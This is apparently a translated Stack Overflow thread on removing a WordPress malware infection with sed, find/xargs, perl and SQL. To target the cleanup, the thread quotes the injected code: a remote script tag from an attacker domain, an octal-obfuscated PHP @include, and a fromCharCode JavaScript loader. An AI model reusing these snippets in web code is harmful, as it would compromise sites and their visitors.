【问题标题】:How to replace whole string using sed or possibly grep如何使用 sed 或可能的 grep 替换整个字符串
【发布时间】:2020-03-04 05:22:33
【问题描述】:

所以我的整个服务器都被黑了或者出现了恶意软件问题。我的网站基于 WordPress,我的服务器上托管的大多数网站都是基于 WordPress 的。黑客将这行代码添加到每个文件和数据库中

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

我确实使用 grep 搜索过它

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

我正在尝试用sed 替换整个文件结构中的它,并且我已经编写了以下命令。

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

我正在尝试首先替换单个文件 index.php 上的字符串,所以我知道它有效。

我知道我的代码是错误的。请帮我解决这个问题。

我尝试使用@Eran 的代码,它删除了整行,这很好,符合预期。但是,总的行话是这样的

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

虽然我希望删除所有内容,但我希望保留 php 开始标记 &lt;?php

虽然@slybloty 的解决方案很简单而且很有效。

所以要从所有受影响的文件中完全删除代码。我正在运行以下 3 个命令,谢谢大家。

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/&lt;script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&amp;subid=547'&gt;&lt;\/script&gt;//g" - 删除脚本行
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d' - 删除 @include
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - 删除评论行

另外,我再次为'*.html' 运行了所有 3 个命令,因为黑客的脚本在所有目录中创建了不需要的 index.html。我不确定批量删除这些 index.html 是否正确。

现在,我还需要弄清楚垃圾文件和它的踪迹。

黑客脚本也添加了 JS 代码。

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

我也试试看能不能sed

【问题讨论】:

  • 你怎么知道你的代码错了?
  • 因为,我运行了它,它不断在下一行要求更多输入,比如` > `
  • 不能直接删行吗? sed -i '/trasnaltemyrecords/d'
  • 另外,您可以在其中添加您的 grep 以输入所有包含此行的文件,如下所示:while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done &lt;&lt;&lt; "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})" -l 选项仅提供文件名而不是匹配文本。
  • 还有一件事...如果您采用这种方法,我将利用sed -i 的“备份”可选参数。例如,sed -i.bak 将为所有已编辑的文件创建一个*.bak 文件。当与while...grep 循环一起使用时,您将只备份包含该字符串的文件。对所有额外的 cmets 感到抱歉,但在我看来,恶意软件是一种“全力以赴”的场景。

标签: bash shell sed grep


【解决方案1】:

对字符串使用双引号 ("),不要转义单引号 (') 或标签 (&lt;&gt;)。只转义斜线 (/)。

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

【讨论】:

    【解决方案2】:

    无论您决定对 sed 使用什么方法,您都可以使用 findxargs 完美的过滤选项同时在多个文件上运行多个进程。例如:

    find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'
    

    它会:

    • find - 查找
    • -type f - 仅文件
    • -name '*.txt' - 以 php 结尾
    • -print0 - 以零字节分隔它们
    • | xargs -0 - 以零字节分隔的每个文件
    • -P7 - 同时运行 7 个进程
    • -n1 - 每个文件
    • sed - 为每个文件运行 sed
    • -i - 就地编辑文件
    • '...' - 您想从其他答案运行的 sed 脚本。

    您可能需要将-t 选项添加到xargs 以查看进度。见man find (man args](http://man7.org/linux/man-pages/man1/xargs.1.html)。

    【讨论】:

      【解决方案3】:

      单引号按字面意思表示,没有转义字符。 在var='hello\'' 中,您有一个未结束的报价。

      要解决这个问题, 1) 使用双引号将sed 命令括起来OR 2) 终止单引号字符串,添加\',重新打开引号字符串。

      然而,第二种方法更令人困惑。

      此外,sed 可以使用任何分隔符来分隔命令。由于命令中有斜杠,因此使用逗号更容易。例如,使用第一种方法:

      sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php
      

      使用第二种方法:

      sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php
      

      这个例子比实际更具教育意义。以下是'\'' 的工作原理:

      第一个':结束当前引用的文字字符串

      \': 输入单引号作为文字字符

      第二个':重新输入带引号的文字字符串

      只要那里没有空格,你就可以继续你的sed 命令。这个想法是 bash 独有的。

      我将转义的&lt;&gt; 留在其中,因为我不完全确定您将其用于什么。 sed 使用 \&lt;\&gt; 来表示单词匹配。我不确定这是不是故意的。

      如果这不匹配任何内容,那么您可能希望避免转义 &lt;&gt;

      编辑:请参阅@EranBen-Natan 在 cmets 中的解决方案,以获得更实际的实际问题解决方案。我的回答更多的是关于为什么提示 OP 使用他的原始命令进行更多输入的资源。

      编辑 2 的解决方案

      为此,我假设您的sed 具有非标准选项-zsed 的 GNU 版本应该有这个。我还假设此代码始终以 6 行长的格式出现

      while read -r filename; do
          # .bak optional here if you want to back any files that are edited
          sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
      done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"
      

      它是如何工作的: 我们使用 fromCharCode 行的开头来匹配所有内容。 -z 将文件拆分为空值而不是新行。这使我们可以直接搜索换行符。

      [^\n]*\n - 这匹配所有内容直到换行,然后匹配换行,避免贪婪的正则表达式匹配。因为我们没有在换行符 (-z) 上进行拆分,所以正则表达式 var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n 匹配最大可能匹配。例如,如果\n}\n 出现在文件下方的任何位置,您将删除那里的所有代码和恶意代码。因此,重复这个序列 6 次可以匹配到第一行的末尾以及接下来的 5 行。

      grep -lr - 只是一个递归的grep,我们只列出具有匹配模式的文件。这样,sed 就不会编辑每个文件。没有这个,-i.bak(不是普通的-i)会一团糟。

      【讨论】:

      • 谢谢@Jason,我会试试你的方法。现在,我没有备份选项。所以我坚持清洁它。
      • @DilipGupta 我建议备份您现在所在的位置。您可以使用 rsync 之类的东西来备份和恢复。
      • 你使用 adminer.php 吗?似乎是可传染的
      【解决方案4】:

      您是否安装了 wp-mail-smtp 插件?我们有同样的恶意软件,我们在wp-content/plugins/wp-mail-smtp/src/Debug.php 中有一些奇怪的东西。

      此外,javascript 链接位于 WordPress 数据库中 wp_posts 的每个 post_content 字段中。

      【讨论】:

      • 是的,我确实安装了那个插件,它就像你说的那样。我正在尝试先清理,然后加强安全性。另请注意,黑客确实安装了名为super-socialat 的插件,请检查一下。
      • 你在那个 Debug.php 中到底发现了什么,我没有发现任何奇怪的东西,但它可能存储在另一个文件中,如果你能提供部分代码,我可以搜索这些文件吗?没有找到安装新插件。
      • 你用的什么编辑器?如果我在 vim 中打开它,我可以看到那个奇怪的东西,但在 nano 或像 Geany 这样的编辑器中看不到.... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
      • 嗨,我是通过winscp查看的,但现在也尝试了vi,仍然没有找到任何东西。 Tnx much 例如我会在文件中搜索它。
      • 从某种角度来看,它似乎是一个 sql 语句,它是使用 $GLOBALS 变量中的字母位置或类似的东西编写的,所以它不能通过简单地寻找“trasnaltemyrecords”来找到我试过寻找 grep -r "NULL);@$" /var/www/html/{,.} 或其他东西,但什么也没找到。无论如何,我在 wordpress 页面上有一个旧的 adminer.php,所以这也可能是泄漏的来源,也许 ..
      【解决方案5】:

      我今天也遇到了同样的问题,所有页面帖子都添加了这个讨厌的病毒脚本

      <script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>
      

      我通过

      从数据库中禁用了它
      UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")
      

      我至少没有文件被感染

      grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
      

      没有找到任何东西,但我不知道这是如何进入数据库的,我一点也不平静。

      这种感染导致页面重定向,chrome 主要检测并阻止此。没有注意到 - /wp-mail-smtp/src/Debug.php 中有什么奇怪的

      【讨论】:

      • 我认为这与某些插件的中断有关,并且黑客获得了对该站点的后门访问权限。
      • 但是哪个插件,2 小时过去了,一切又重新重定向
      【解决方案6】:

      对我来说是这样的:

          find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"
      

      您必须搜索:*.js、*.json、*.map

      【讨论】:

        【解决方案7】:

        我今天也有同样的事情,所有页面帖子都添加了脚本。 我已经使用Search and replace 插件成功处理了它们。

        此外,我还在 wp_postspost_content 列中找到了一条记录 以下字符串:

        <a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>
        

        并手动删除。

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 2014-01-13
          • 2018-02-24
          • 1970-01-01
          • 1970-01-01
          • 2011-09-04
          • 2012-07-17
          • 1970-01-01
          • 1970-01-01
          相关资源
          最近更新 更多